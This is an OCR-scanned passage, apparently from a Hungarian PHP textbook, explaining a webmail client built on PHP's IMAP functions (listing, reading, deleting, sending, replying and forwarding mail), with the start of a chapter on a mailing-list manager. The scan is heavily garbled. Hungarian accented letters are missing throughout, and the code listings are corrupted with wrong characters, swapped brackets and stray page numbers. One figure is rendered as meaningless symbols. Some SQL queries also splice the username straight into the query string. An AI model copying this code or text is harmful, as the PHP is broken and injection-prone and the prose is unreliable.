A levelezo_fuggvenyek. php knyvtr fiokok_szama () fggvnye llaptja meg, hogy a felhasznl egynl tbb postafikkal rendelkezik-e; a fggvny kdjt a 29.7 pldakdban talljuk. A fiok_lista_lekerese () fggvny a felhasz nl fikjainak azonostit tartalmaz tmbt ad vissza. Jelen esetben egyeden fik - s gy egyeden azonost - ltezik, amit
a

tmb O . rtkeknt rhetnk el.

466

29. fejezet

29.7 pldakd: A levelezo_fuggvenyek.ph p

knyvtr fiokok_szama() fggvnye- A fggvny megllaptja, hogy az

adott felhasznl hny postafikot lltott be


function fiokok_szama($hitelesitett_felhasznalo)

ll a felhasznlhoz tartoz fikok szmnak kicteritse


$lekerdezes = "SELECT COUNT(*)

FROM fiokok WHERE


'".$hitelesitett_felhasznalo."'";

felhasznaloi nev =

29

lf($kapcsolat=adatbazlshoz kapcsolodas()) Seredmeny


=

$kapcsolat->query($lekerdezes);

if($eredmeny)

$sor = $eredmeny->fetch_array(); return $sor[0);

return 0;

A fiok_lista_lekerese () fggvny a korbban mr ltott fiokok_le kerese () fggvnyhez hasonl, a klnbsg csupn annyi, hogy ez csak a fikok nevt keresi vissza. Ha a felhasznl tbb fikot regisztrlt, akkor ki kell vlasztania a hasznlni kivntat. Ebben az esetben a fejlc egy SELECT HTML elemet jelent meg. ami az elrhet postafikok listjt jelenti meg. Ha a felhasznl kivlasztja valamelyiket, automa tikusan megjelenik annak tartalma (29 .5 bra).

29.5 bra: A SELECT

listbl trtn kivlaszts utn a postafik tartalma letltdik s megjelenik.

A SELECT listt a kimeneti_fuggvenyek.ph p knyvtr html_fejlee _letrehozasa() fggvnye lltja el, ahogy ez az albbi kdrszletbl is kiolvashat:
ll a fik kivlasztsnak lehet6sgre csak akkor van szksg, ll felhasznlnak egynl tbb fikja van
if(fiokok_szama($hitelesitett_felhasznalo) >l) ha a

echo "<form action=\"index.php?action=postafiok-megnyitasa\" method=\"post\"> <td bgcolor=\"lff6600\" align=\"right\" valign=\"middle\">"; fiok_valaszto_megjelenitese($hitelesitett_felhasznalo, echo "</td> </form>"; $kivalasztott_fiok);

ltalban nem foglalkoztunk a pldban hasznlt HTML kdokkal, de a fiok_valaszto_ megjeleni tese() fggvny ltal ellltott HTML rdemes r, hogy kivtelt tegynk vele. Az aktulis felhasznl fikjaitl fggen a fiok_ valasz to_
megjelenitese() fggvny a kvetkezhz hasonl HTML-t hoz ltre: <select onchange="window.location=this.options[selectedlndex) .value name=fiok"> <option

Webalap levelezszolgltats ltrehozsa

467

value="index.php?action=fiok-kivalasztasa&fiok=4" selected > thickbook.com </option> <option value= index. php?action=fiok-kivalasztasa&fiok=3 "> localhost </option> </select>

A kd nagy rsze egyszeren egy HTML SELECT elem, de egy kis JavaScriptet is tartalmaz. A PHP nem csak HTML-t kpes ellltani, hanem kliensoldali szkriptek ltrehozsra is hasznlhat. Amikor vltozs esemny kvetkezik be az elemben, a JavaScript a kivlasztott elem rtkr adja a window.location vltoznak. Ha a felhasznl a SELECT els elemc vlasztja ki, a window .location rtke 'index.php?action=fiok
kivalasztasa&fiok=lO' lesz. Ennek eredmnyeknt betltdik ez az URL. Amennyiben a felhasznl bngszje nem

29

tmogatja a JavaScriptet, vagy a JavaScript ki van benne kapcsolva, akkor a kdnak semmilyen hatsa nem lesz. A kimeneti_fuggvenyek. php knyvcr fiok_valaszto_megjelenitese() fggvnye lekri az elrhet fi kok listjt, s azt felhasznlva megjelenti a SELECT elemet. Ezen tlmenen a korbban mr megvizsglc fiok_lista_
lekerese () fggvnyt is hasznlja.

A SELECT listban lv elemek brmelyiknek kivlasztsa a fiok-kivalasztasa esemnyt vltja ki. Ha a 29.5 brn lv URL-re pillanrunk, lthatjuk, hogy ez az esemny, valamint a kivlasztott fik azonosrja hozz lett fzve az URL-hez. Ezen GET vltozk hozzfzsvel kt dolgot rnk el. Elszr is az index.ph p elfeldolgozsi rszben a kivlasztott fikot troljuk el a $ki valasztott_fiok munkamener-vltozban:
case 'fiok-kivalasztasa':

ll ha ltez fikot vlasztott,


$ SESSION['kivalasztott_fiok' l

mentsk el munkamenet-vltozknt! $fiok)))

if(($fiok) && (fiok_letezik($_SESSION['hitelesitett felhasznalo'],


=

$fiok;

break;

Msodsorban a kd trzsrszben a kvetkez kd lesz vgrehajcva:


case 'fiok-kivalasztasa': case 'postafiok-megtekintese':

ll ha a postafikot vagy a postafik megtekintst vlasztjuk, ll postafik megjelenitse


lista_megjelenitese($_SESSION['hitelesitett_felhasznalo'], $ SESSION['kivalasztott_fiok']); break;

Lthatjuk, hogy ugyanazt a mveletet hajtjuk itt vgre, mintha a felhasznl a"Postafik megrekinrse" lehetsget vlasz totta volna ki. A kvetkez rszben ezt a mvelet vizsgljuk meg rszletesen.

Postafik tartalmnak megtekintse


A postafik tartalmt a lista_megjelenitese () fggvnnyel jelenthetjk meg. A fggvny a postafikban rallhat sz szes zenet listjt mutatja meg. Kdjt a 29.8 pldakd tartalmazza.
29.8 pldakd: A kimeneti_fuggvenyek.ph p

knyvtr lista_megjelenitese() fggvnye- A postafikban lv

sszes zenetet megjelent fggvny


function lista_megjelenitese($hitelesitett_felhasznalo, $fiok_azonosito)

ll a postafikban lev zenetek listjnak megjelenitse


global $tablazat_szelessege;

if(!$fiok_azonosito)

{
lOOpx\">Nincs postafik kivlasztva.</p>";

echo "<p style=\"padding-bottom:

J else {

468

29. fejezet

$imap = postafiok_megnyitasa($hitelesitett_felhasznalo, if($imap)

$fiok_azonosito);

{
cellpadding=\"6\" border=\"0\">";

echo "<table width=\"".$tablazat_szelessege."\" cellspacing=\"0\"

$fejlecek

imap_headers($imap); vagy ms informcikat is de sszefoglalsknt

29

ll tformzhatnnk ezeket az adatokat,

ll lekrhetnnk az imap_fetchheader fggvnyekkel, ll ez sem rossz, gy egyszeren csak kratjuk

$uzenetek

sizeof($fejlecek);

for($i = 0;

$i<$uzenetek;

$i++)

echo "<tr><td bgcolor=\""; if($i%2)

echo "#ffffff"; else

echo "#ffffcc";

echo "\"><a href=\"index.php?muvelet=uzenet-megtekintese&uzenetiD=" . ($i+l)."\">"; echo $fejlecek[$i]; echo "<la><ltd><ltr>\n";

echo "<ltable>"; else

{
$fiok _azonosito); lOOpx\">Nem sikerlt megnyitni a(z)

$fiok = fiok beallitasok lekerese($hitelesitett_felhasznalo, echo "<p style=\"padding-bottom:

".$fiok['szerver']." postafikot.<lp>";

Tnylegesen a lista_megjelenitese () fggvnyben kezdjk hasznlni a PHP IMAP fggvnyeit. A fggvny kt kulcsrsze a postafik megnyitsa s az zenetfejlcek olvassa. Felhasznli fikhoz tartoz postafikot a levelezo_fuggvenyek. php knyvtr postafiok_megnyitasa () fggv nyt meghvva nyirunk meg. A 29.9 pldakd ezt a fggvnyt mutatja. 29.9 pldakd: A levelezo_fuggvenyek. php knyvtr postafiok_megnyitasa ()fggvnye- Ezzel afggvnnyel kapcsoldunk afelhasznl postafikjhoz
function postafiok_megnyitasa($hitelesitett felhasznalo, ll ha csak egy postafik van, akkor vlasszuk ki! $fiok_azonosito)

if(fiokok_szama($hitelestett felhasznalo)==l)

$fiokok = fiok_lista lekerese($hitelesitett_felhasznalo); $ SESSION['kivalasztott_fiok'] $fiok_azonosito


= =

$fiokok[O];

$fiokok[O];

ll csatlakozs a felhasznl ltal kivlasztott POP3 vagy IMAP szerverhez $beallitasok


=

fiok_beallitasok_lekerese($hitelesitett felhasznalo,

$fiok_azonos ito);

Webalap levelezszolgltats ltrehozsa

469

if(!sizeof(Sbeallitasok)) return 0; Spostafiok 1{1 .Sbeallitasok[szerver]; 1lpop31; 1)INBOX 1;

if(Sbeallitasok[type]==1POP31) Spostafiok Spostafiok


.=

1 : 1 Sbeallitasok[port J

ll figyelmeztets elnyomsa,

ne felejtsk el ellenrizni a visszatrsi rtket! Sbeallltasok[1tavoli_felhasznalo1],

29

@Simap = imap_open(Spostafiok, return Simap;

Sbeallitasok[1tavoli_jelszo1]);

A postafikot tnylegesen az i map_open ( ) fggvnnyel nyitjuk meg, amelynek prototpusa a kvetkez:


int imap_open (string postafiok, string felhasznaloi_nev, string jelsza [, int opciok])

A fggvnynek tadand paramterek a kvetkezk: postafiok-Ennek a karakterlncnak kell tartalmaznia a kiszolgl s a postafik nevt, illetve opcionlisan a port szmt s a protokoll tpust. A szering formtuma a kvetkez:
{hostnevlprotokoll:port)fioknev

Ha a protokollt nem hatrozzuk meg, akkor alaprtelmezsben az !MAP lesz. Az ltalunk rt kdban megfigyelhet, hogy amennyiben a felhasznl egy adott fikhoz a POP3 protokollt vlasztotta ki, akkor mi is ezt lltjuk be. Pldul ahhoz, hogy a helyi gprl, az alaprtelmezett portokat hasznlva olvassuk be a leveleket, a kvetkez fiknevet kell hasznlni !MAP protokoll esetn:
{localhost:l43)INBOX

POP3 protokoll esetn pedig ezt:


{localhostlpop3:110)INBOX felhasznaloi nev- A fikhoz tartoz felhasznli nv. jelsza-A fikhoz tartoz jelsz.

A fggvny opcionlis paramtereivel olyan dolgokat lltharunk be, rnint pldul az "open mailbox in read-only
mode'; vagyis a postafik megnyitsa csak olvassi mdban.

Figyeljk meg, hogy mieltt a postafikot meghatroz karakterlncot radtuk volna az imap_open ( ) fggvnynek, da rabonknt raktuk ssze az sszefih mveleti jel segtsgve!! gyeljnk e karakterlnc ellltsnl, mert a {S karaktereket tartalmaz sztringek problmkat okozhatnak a PHP-ben. Ha a postafik megnyithat, akkor !MAP adatfolyamot (stream) ad vissza a fggvnyhvs, amennyiben nem, akkor pedig
false lesz a visszatrsi rtk. Ha mr befejeztk a munkt az !MAP adatfolyammal, az imap_close(imap_stream)

fggvnnyel zrhatjuk be. A fggvnyben az !MAP adatfolyamot adjuk vissza a f alkalmazsnak. Ezt kveten az imap_
headers () fggvnyekkel kapjuk meg a megjelentend e-mail fejlceket: $fejlecek
=

imap_headers(Simap);

Ez a fggvny az abban a postafikban tallhat sszes zenet fejlcadatt adja vissza, amelyikhez kapcsoldtunk. Az infor mcikat tmbknt kapjuk vissza, zenetenknt egy-egy sor adattal. Az informci ekkor mg formzaclan, a fggvny zene tenknt csak egy sort r ki. A 295 brn lthatjuk, hogyan nz ki a kimenet. A zavaran hasonl nev imap_header() fggvnnyel tbbet is megtudhatunk az e-mail fejlcekrL Jelen projektben azonban megelgsznk az imap_headers () fggvnytl kapott adatokkal is.

Levlzenet olvassa
Az elbb hasznlt lista_megj elenitese() fggvnyben minden zenethez az adott e-mailre mutat hivatkozst llrunk

be. Mindegyik ilyen hivatkozs a kvetkezkppen nz ki:


index.php?action=uzenet-megtekintese&uzenetiD=6

Az u zenetiD a korbban visszakapott fejlcekben hasznlt sorszm. rdemes megjegyezni, hogy az !MAP zenetek szmozsa l-gye!, nem pedig O-val kezddik. Ha a felhasznl ezen hivatkozsok valamelyikre kattint, a 29.6 brn lthat kimenetet ltja bngszjben.

470

29.fezet

29

1oo-. .._ ool. n -. tu ...,.-U9 otln. --.ll.u ..... tal.l.U, =-u. ... u -- ... .,.._ - ..U -- ....... ,,_ -u- qUO w.- n .,.nu.........u..... -_""P<-. ...,_J... -l ..,n.,..- 111- -n.;,.......,., - .." -...._. u. ..-u 04-o -- "u.otu- --' ...u.1--. __ ...,,...,_.,...,.,__.-n -- Pu>a Ut - -=.o ..,.._" r.._. hU ,._.._ - U_ ... ,_".., -.-. ,."_..., - un......u u.,. ... -..- . .... __....,-... ..- .U.- uuo """'-

29.6 bra: Az uzenet-megtekintese mvelet egy konkrt zenetetfog megjelenteni.

Amikor tadjuk ezeket a paramtereket az index. php fjlnak, a kvetkez kdot hajtjuk vgre:
case 'fejlecek-megjelenitese': case 'fejlecek-elrejtese':

case 'uzenet-megtekintese':

ll ha kivlasztottunk a listbl egy zenetet, ll akkor tltsk be az zenetet!

vagy egy zenetet nznk,

ll a fejlcek elrejtse vagy megjelenitse lehetsget vlasztjuk,


$teljesfejlecek = ($muvelet == 'fejlecek-megjelenitese'); uzenet_megjelenitese($_SESSION['hitelesitett felhasznalo'], $_SESSION['kivalasztott_fiok'], $uzenetiD, break; $teljesfejlecek);

Irt ellenrizzk, hogy a $muvelet vltoz rrke a 'fej leeek-megjelenitese'-vel egyenl-e. Ebben az esetben ez a felttel nem teljesl, s gy a $teljesfejlecek rtkt false-ra lltjuk. Rvidesen megvizsgljuk a 'fej leeek
megjelenitese' mveletet is.

A
Steljesfejlecek = ($muvelet == 'fejlecek-megjelenitese');

sort kicsit bvebben is kifejthertk volna, a kvetkez formban taln valamivel knnyebben rthet lenne:
if ($muvelet == else 'fejlecek-megjelenitese') true;

$teljesfejlecek

Steljesfejlecek = false;

Ezt kveten az uzenet megjelenitese() fggvnyt hvjuk meg. A fggvny kimenete nagyrszt HTML, ezrt most nem is foglalkozunk vele. Az uzenet_visszakeresese() fggvnyt hvja meg, hogy a postafik megfelel zenett kapjuk meg:
Suzenet = uzenet_visszakeresese($hitelesitett_felhasznalo, $teljesfejlecek); $fiok_azonosito, $uzenetiD,

A levelezo_ fuggvenyek. php knyvtrban tallhat uzenet_ visszakeresese () fggvny kdjt a 29.10 plda kd tartalmazza.
29.10 pldakd: A levelezo _fuggvenyek. php knyvtr uzenet_ visszakeresese ()fggvnye- A postafikbl egy

adott zenetet visszakeresfggvny


function uzenet_visszakeresese($hitelesitett_felhasznalo, Steljesfejlecek) Suzenet = array(); Sfiok_azonosito, SuzenetiD,

Webalap levelezszolgltats ltrehozsa

471

if(! ($hitelesitett_felhasznalo return false; Sirnap

&&

$uzenetiD

&&

$fiok_azonosito))

postafiok_megnyitasa ($hitelesitett_felhasznalo,

$fiok_azonosito);

if (! $imap)

return false; $fejlec = imap header($imap, if(!$fejlec) $uzenetiD);

29

return false;

$uzenet['tartalom']

imap_body($imap,

$uzenetiD);

if(!$uzenet['tartalom' l) $uzenet['tartalom'] if($teljesfejlecek) else

= "[Az zenet res]\n\n\n\n\n\n";

{
imap_fetchheader($imap, $uzenetiD);

$uzenet['teljesfejlec']

{
'
' . '

$uzenet['teljesfejlec']

$uzenet['targy']

$fejlec->targy;
=

$uzenet['felado_cime'] $uzenet['valasz eim']

$fejlec->felado_cime; $fejlec->masolatot_kap_cime;

= $fejlec->valasz_clm;
=

$uzenet['masolatot_kap_cime'] $uzenet['datum']
=

$fejlec->datum;

ll A felado s a cimzett hasznlatval ugyan rszletesebb informcit ll kaphatnnk,


a felado cime s valasz eim adatokat azonban knnyebb felhasznlni

imap_close($imap); return $uzenet;

Megint csak a postafiok_megnyitasa () fggvnnyel nyitjuk meg a felhasznl postafikjt,most azonban egy konkrt zenet utn vagyunk.A fggvnyknyvtr segtsgvel kln-kln tltjk le az zenet fejlct s tartalmr. Az itt hasznlt hrom IMAP fggvny az imap_header (),az imap_fetchheader() s az imap_body ().Figyeljk meg. hogy az els kett,fejlcekkel kapcsolatos fggvny eltr a korbban hasznlt imap_headers () fggvnytl! Elnevez seik kiss zavarak lehetnek,ezrt most sszefoglaljuk s sszehasonltjuk mkdsket:
imap_headers () - Egy adott postafikban lv sszes zenet fejlcnek sszefoglalst adja vissza.A fggvny ltal

visszaadott tmb minden eleme egy-egy zenethez tartozik.


imap_header() -Objektum formjban adja vissza egy adott zenet fejlct. imap_ tetehheader () - Karakterlnc formjban adja vissza egy adott zenet fejlct.

Ebben az esetben az imap_header () fggvnnyel krnk le meghatrozott fejlcmezket,ha pedig a felhasznl a teljes fejlcet kri,az imap_ fetchheader() fggvnnyel jelentjk meg azt szmra. (Erre a tmra a ksbbiekben mg visszat rnk.) Az imap_header() s imap_body () fggvnnyel az egyes zenetek bennnket rdekl elemeit tartalmaz tmbt ho zunk ltre. Az imap_header () fggvnyt a kvetkezkppen hvjuk meg:
$fejlec = imap_header($imap, $uzenet['targy'] $uzenetiD);

Ezt kveten a kvnt mezket kinyerjk ebbl az objektumbl:


= $fejlec->tar0y;

Az imap_body() fggvny meghvsval a kvetkezkppen adjuk a tmbhz az zenet tartalmr:

472

29. fejezet

$uzenet['tartalom'] = imap_body($imap,

$uzenetiD);

Vgl az imap_close () fggvnnyel bezrjuk a postafikot, majd visszaadjuk a ltrehozott tmbt az index. php kd nak. Ezt kveten az uzenet_megjelenitese ( ) fggvny a 29.6 brn lthat formban megjelenti az zenet mezit.

zenetfejlcek megjelentse
A 29.6 brn lthat, hogy az zenet felett a.,Fejlcek megjelentse" gombra kattintharunk. Ezzel a fej leeekmegjelenitese esemnyt aktivljuk, ami az zenettel egytt annak teljes fejlct megjelenti. Amikor a felhasznl a gomb

29

ra kattint, a 29.7 brn lthathoz hasonl kimenet jelenik meg bngszjben.

29.7 bra: A fejleeek-megjelenitese

mvelettel az adott zenet teljes fejlce megjelenthet, ami segthet a felhasznlnak visszakvetni a levlszemt forrst.

Ahogy azt mr bizonyra szrevettk, az uzenet-megtekintese esemnykezelje a fej leeek-megj elen itese esemnyt (illetve annak prjt, a fejleeek-elrejtese-t) is lefedi. Ha az els bellts van kivlasztva, ugyangy jrunk el, mint korbban, de az uzenet_visszakeresese ( ) fggvnyben a fejlcek teljes szvegt fogjuk meg:
if($teljesfejlecek)

{
=

$uzenet['tel]esfejlec']

imap fetchheader($imap,

$uzenetiD);

Ezt kveten megjelentjk a felhasznlnak a fejlcet.

zenet trlse
Ha a felhasznl valamelyik e-maiinl a.,Trls" gombra kattint, a 'torles' mveletet aktivlja. Ezzel az index. php albbi kdrszlett futtatja le:
case 'torles': $ SESSION [ 'kivalasztott_fiok'], //szndkosan nincs 'break' case 'fiok-kivalasztasa': uzenet torlese($ SESSION['hitelesitett felhasznalo'], $uzenetiD);

- a kvetkez esettel folytatjuk

case 'postafiok-megtekintese':

ll ha a postafikot vagy a postafik megtekintst vlasztjuk, ll postafik megjelenitse


lista_megjelenitese($_SESSION['hitelesitett_felhasznalo'], $ SESSION['kivalasztott_fiok']); break;

A fenti sorokbl kiderl, hogy az zenetet az uzenet_torlese() fggvnnyel trljk, majd a trls utn kapott postafi kot a korbban bemutatott mdon megjelentjk. Az uzenet_tor lese () fggvny kdjt a 29.11 pldakd mutatja.

Webalap levelezszolgltats ltrehozsa

473

29.11 pldakd: A levelezo_fuggvenyek. ph p knyvtr uzenet_torlese ()fggvnye- Afggvny egy adott zenetet
trl a postafikbl
function uzenet torlese($hitelesitett_felhasznalo, $fiok_azonosito, $uzenetiD)

ll egyetlen zenet trlse a szerverrl


Sirnap postafiok_megnyitasa($hitelesitett_felhasznalo, $fiok_azonosito);

if($imap)

{
$uzenetiD);

imap_delete($imap,

imap_expunge($imap); imap_close($imap); return true;

29

return false;

Lthat, hogy a fggvny tbbIMAP fggvnyt is hasznl. Kzlk szmunkra j az imap_delete() s az imap_
expunge

().rdemes megjegyezni, hogy az imap_delete () fggvny csak kijelli az zeneteket a trlshez. Tetszleges

szm zenetet kijellhetnk gy, majd tnylegesen az i map_expunge ()meghvsval trljk ki ket.

Levlklds
Vgre eljutottunk a levlkldsig. Ez tbbflekppen is vgbemehet a kdban: a felhasznl j zenetet r, illetve berkez le vlre vlaszol, vagy tovbbtja azt. Nzzk, hogyan mkdnek ezek a mveletek!

j zenet kldse
A felhasznl az.,j zenet" gombra kattintva nyithat j levelet. Ezzel az 'uj-uzenet' mveletet vltja ki, ami a kvetkez kdot futtatja :
case 'uj-uzenet':

UJ uzenet_urlap_megjelenitese($_SESSION['hitelesitett_felhasznalo'),
$cimzett, break; $masolatot kap, $targy, $tartalom);

Az j zenet rlap egyszeren egy levlkldsre szolgl rlap. A 29.8 brn ltszik, hogy hogyan nz ki. Az brn valjban egy berkezett zenetre rt vlaszt ltunk, de az rlap j levl rsa esetn is ugyanez. Rvidesen a tovbbrst s a vlaszkldst is megvizsgljuk.

29.8 bra: Vlaszolhatunk az zenetre, vagy tovbbthatjuk valaki msnak.

474

29.fezet

Az .. zenet kldse" gombra kattintva az 'uzenet-kuldese' mveletet indtjuk meg. Ez az albbi kdot hvja meg:
case 'uzenet-kuldese': if(uzenet kuldese($cimzett, $masolatot kap, $targy, $uzenet}}

echo "<p style=\"padding-bottom: else echo "<p style=\"padding-bottom:

lOOpx\">zenet elkldve.<lp>";

lOOpx\">Nem sikerlt elkldeni az zenetet.<lp>";

A kd az zenetet tnylegesen elkld uzenet_kuldese (}fggvnyt hvja meg. A fggvny kdjt a 29.12 pldakd mu-

29

tatja.
29.12 pldakd: A levelezo_fuggvenyek.php

hasznl ltal begpelt zenetet


function uzenet_kuldese($cimzett, ll e-mail kldse PHP-vel

knyvtr uzenet_kuldese (}fggvnye- Ez a fggvny kldi el a fel

$masolatot_kap,

$targy,

$uzenet}

if (1$kapcsolat=adatbazlshoz kapcsolodas(}} return false;

$lekerdezes = "SELECT email eim

FROM felhasznalak WHERE felhasznalo'] ."'";

felhasznaloi_nev='".$_SESSION['hitelesitett

$eredmeny = $kapcsolat->query($lekerdezes}; if

(! $eredmeny} {
return false; else if ($eredmeny->num_rows==0} return false; else

{
'.$sor->email_cim;

$sor = $eredmeny->fetch_object(}; $egyeb = 'Felad: 1f

(! empty($masolatot kap}} {
$masolatot_kap";

$egyeb.="\r\nMsolatot kap:

if (mail ($cimzett, return true; else

$targy,

$uzenet,

$egyeb}}

return false;

A fenti sorokbl lthat, hogy a fggvny a mail (} fggvnnyel kld el az e-mailt. Eltte azonban kinyeri az adatbzisbl a felhasznl e-mail cmt, hogy berja az e-mail .. Felad" mezjbe.

Vlaszklds vagy levl tovbbtsa


A .. Vlasz'; a.Vlasz mindenkinek" s a.,Tovbbts" funkci ugyangy kld zenetet, minr amikor az,j zenet" gombra . kattintunk. A klnbsg annyi a mkdskben, hogy mieltt a felhasznlnak megjelentenk az j zenet rlapot, egyes mezit kitltik. Lapozzunk vissza a 29.8 brhoz! A megvlaszolni kvnt zenet tarralmt > szimblummal beljebb hztuk, a.,Trgy" sorba pedg-az eredeti levl trgya el-bekerlt a,.Re:" szveg. A,.Tovbbts" s a ,.Vlasz mindenkinek'' mvelet hasonlkppen kirlti a cmzett s a trgy sott, illetve megjelenti az idzett szveget. A vlaszkldshez vagy a levl tovbbtshoz szksges kd az index.php trzsben hajtdik vgre az albbiak szerint:
case 'valasz-mindenkinek':

Webalap levelezszolgltats ltrehozsa

475

ll a msolatot kap sor belltsa a korbbi,


if (! $imap)

msolatot kap sor alapjn

{
$ SESSION['kivalasztott_fiok'l);

$imap = postafiok_megnyitasa($ SESSION['hitelesitett felhasznalo'l,

if($imap) $fejlee imap_header($imap, $uzenetiD);

if($fejlec->valasz_cim) $ eimzett else

29

$fejlec->valasz_cim;

{
$fejlec->felado_cime;

$eimzett

$masolatot_kap = $fejlec->masolatot kap cime; $targy = "Re: ".$fejlec->targy; $uzenetiD)));

$tartalom = idezojel_hozzaadasa(stripslashes(imap_body($imap, imap_close($imap);

uj_uzenet_urlap_megjelenitese($_SESSION['hitelesitett_felhasznalo'l, $cmzett, $masolatot_kap, $targy, $tartalom);

break;

case 'valasz' :

ll vlaszcmknt a levlfejlcben elkldtt cm hasznlata, ll vagy annak hinyban a felad cme


if (! $imap)

{
$_SESSION['kivalasztott_fiok'l);

$imap = postafiok_megnyitasa($_SESSION['hitelesitett_felhasznalo'l,

if($imap) $fejlec = imap_header($imap, if($fejlec->valasz eim) $cmzett else $uzenetiD);

$fejlec->valasz_cim;

{
$fejlec->felado_cime;

$eimzett

$targy = "Re:

".$fejlec->targy; $uzenetiD)));

$tartalom = idezojel_hozzaadasa(stripslashes(imap_body($imap, imap_close($imap);

uj_uzenet_urlap_megjelenitese($_SESSION['hitelesitett_felhasznalo'l, $cmzett, $masolatot_kap, $targy, $tartalom);

break;

case

'tovabbitas':

ll zenet belltsa az aktulis levl idzett tartalmaknt


if (! $imap)

476

29. fejezet

$imap

postafiok _megnyit asa($_ SESSION['hi telesitett felhasznalo' l , $_SESSION['kivalasztott_fiok']};

if($imap} $fejlee imap_header($imap, $uzenetiD}; $uzenetiD}}}; $tartalom = idezojel hozzaadasa(stripslashes(imap_body($imap, $targy = "Fwd: ".$fejlec->targy;

29

imap close($imap}; UJ_uzenet_urlap_megJelenitese($ SESSION['hitelesitett_felhasznalo'], $cmzett, $masolatot_kap, $targy, $tartalom};

break;

Lthat, hogy az egyes mveletek a megfelel fejlcet belltva, szksg esetn formzst alkalmazva, majd az u j_u z enet_
urlap_megjelenitese(} fggvnyt meghvva hozzk ltre az rlapot.

Ezzel a webes levelezszolgltats mkdsnek ttekintst be is fejeztk.

A projekt tovbbfejlesztse
A projektet sokflekppen bvthetjk s fejleszthetjk tovbb. cletszerzs cljbl tnzhetjk a rendszeresen hasznlt leve lezalkalmazsunkat, de az albbi funkcikkal is gazdagthatjuk az eddig elkszlt programunkat: Knljuk fel regisztrci Iehetsgc az oldal felhasznlinak! (Erre a clra ismt hasznosthatjuk a Felhasznli hitelests megvalstsa s szemlyre szabott tartalom megjelentse cm 27. fejezet egyes kdjait.) Tegyk lehetv a felhasznlknak, hogy egynl tbb e-mail cmer hasznlhassanak! A legtbb felhasznl nem egy e-mail cmmel rendelkezik -lehet nekik pldul otthoni s munkahelyi cmk. Azzal, hogy az eltrolt e-mail cmket a felhasznalek tblbl a fiokok tblba helyezzk t, lehetv tesszk, hogy tbb cmer hasznljanak. Ehhez ter mszetesen nhny helyen mdostani kell az alkalmazs kdjt is. Az zenet kldse rlapon pldul legrdl listbl kell kivlasztaniuk a hasznlni kvnt cmket. Tegyk lehetv, hogy csatolt llomnyokat tartalmaz zeneteket kldhessenek, fogadhassanak s tovbbthassanak! Ahhoz, hogy a felhasznJk kpesek legyenek csatolt fjlokat kldeni, A fjlrendszer s a kiszolgl elrse cm 19. feje zetben bemutatott fjlfeltlt funkcira van szksg. A mellkleteket tartalmaz zenetek kldsvel a Levelezlista-ke zel alkalmazs fejlesztse cm 30. fejezetben foglalkozunk. Hozzunk ltre nvjegyalbum-funkcikarl Hozzunk ltre hlzati hrolvas funkcikat! Az NNT P kiszolglrl !MAP fggvnyekkel val olvass majdnem telje sen megegyezik azzal, amikor postafikbl olvassuk ki annak tarralmt. A klnbsg annyi, hogy msik porrot s proto kollt kell az imap_open(} fggvny meghvsakor meghatrozni. Az INBOX nev postafik helyett az olvasni kvnt hrcsoportot kell megnevezni. A Webes frum fejlesztse cm 31. fejezetben szerepl mdszereket webalap hrolvas alkalmazs ltrehozshoz is felhasznlhatjuk.

Hogyan tovbb:
A kvetkez fejezetben is levelezshez kapcsold projekten dolgozunk. Olyan alkalmazst fogunk fejleszteni, amellyel kln bz tmj hrleveleket kldhetnk az oldalunkon feliratkoz felhasznlknak.

30
Levelezlista--kezel alkalmazs fejlesztse
Ha w eboldalunk mr kiterjedt ltogati bzissal rendelkezik, hasznos, ha a regisztrlt felhasznlkkal hrlevelek tjn tarthat juk a kapcsolatot. Ebben a fejezetben levelezlista kezelsre szolgl felletet fogunk fejleszteni. Lteznek olyan levelezlistk, ahol a feliratkozottak is tudnak az adott lista tagjainak zenetet kldeni, a fejezetben ltrehozand alkalmazs azonban olyan rendszer, amelyben csak a lista adminisztrtora kldhet zeneteket. Az alkalmazs neve Pyramid-MLM (mailing list manager, azaz levelezlista-kezel). Megoldsunk igen hasonl lesz a piacon megtallhat tbbi ilyen alkalmazshoz. Annak rdekben, hogy legyen elkpzel snk arrl, min fogunk dolgozni a fejezetben, ltogassunk el az ilyen jelleg zleti megoldsokat kinl http:/ /www.topica.com oldalra! Alkalmazsunk lehetv teszi az adminisztrtoroknak, hogy levelezlistkat hozzanak ltre, s klnbz hrleveleket kldjenek az egyes listkra. A fjlfelelt funkci biztostja annak lehetsgt, hogy feltltsk az offline ltrehozott hrlevelek szveges s HTML vltozatait. Ez azt jelenti, hogy az adminisztrtorok brmilyen nekik tetsz szaftverrel megalkothaljk a hrleveleket. A felhasznlk az oldal brmelyik levelezlistjra feliratkozhamak, s eldnthetik, hogy szveges vagy HTML formtum ban kvnjk-e megkapni a hrleveleket. A fejezetben az albbi fbb tmakrkkel foglalkozunk: Fjlfeltlts tbb fjl esetn MIME kdolse-mail mellklecek HTML formtume-mailek Felhasznli jelszavak emberi beavatkozs nlkli kezelse

A megolds alkotelemei
Online hrlevlszerkeszt s -kld rendszert szetetnnk fejleszteni. A rendszernek biztostania kell a lehetsget, hogy kln bz hrleveleket hozhassunk ltre s kldhessnk a felhasznlknak, akiknek pedig fel kell tudniuk iratkozni egy vagy tbb hrlevlre. A megolds alkotelemei az albbi ltalnos cloknak kell, hogy megfeleljenek:
Az adminisztrtorok levelezlistkat hozharnak ltre s mdosthatjk a meglvket.

Az adminisztrtorok szveges s HTML hrleveleket kldhetnek az egyes levelezlistk sszes feliratkozott tagjnak.

A felhasznlk regisztrlhatnak az oldalon, majd belphetnek, s mdosthaljk adataikat. A felhasznlk feliratkozhatnak az oldal brmely listjra. A felhasznlk leiratkezhatnak azokrl a listkrl, amelyekre korbban feliratkoztak. A felhasznlk eldnthetik, hogy HTML formtumvagy egyszer szveges hrleveleket krnek. Biztonsgi okokbl a felhasznlk nem kldhetnek leveleket a listra, s nem lthaljk egyms e-mail cmt. A felhasznlk s az adminisztrtorok megtekinthetik a levelezlistkrl sszegyjttt informcikat. A felhasznlk s az adminisztrtorok megtekinthetik a korbban a listra elkldtt hrleveleket (archvum).

A projekt feladatnak ismeretben elkezdheljk megtervezni a megoldst s alkotelemeit, pldul a listk, a feliratkezottak s az archivlt hrlevelek adatbzisnak ltrehozst; az offline ltrehozott hrlevelek feltltst; a mellkleteket tartalmaz levelek kldst.

478

30.fezer

A levelezlistk s a feliratkozott felhasznlk adatbzisnak ltrehozsa


